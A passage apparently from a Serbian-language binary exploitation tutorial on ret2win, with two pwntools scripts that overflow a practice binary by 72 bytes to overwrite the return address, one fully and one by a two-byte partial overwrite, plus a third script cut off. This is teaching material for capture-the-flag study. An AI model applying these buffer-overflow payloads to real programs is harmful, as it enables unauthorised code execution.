from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p64(0x00000000004006c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Off-by-1
U stvari, ovo će više ličiti na off-by-2 u sačuvanom PC-u u steku. Umesto da prepisujemo celu adresu povratka, prepisujemo samo poslednja 2 bajta sa 0x06c4.
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p16(0x06c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Bez leak-a ne znamo tačnu adresu pobedničke funkcije, ali možemo znati offset funkcije od binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje na blisku adresu, moguće je leak-ovati offset do win funkcije (0x7d4) u ovom slučaju i jednostavno koristiti taj offset:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)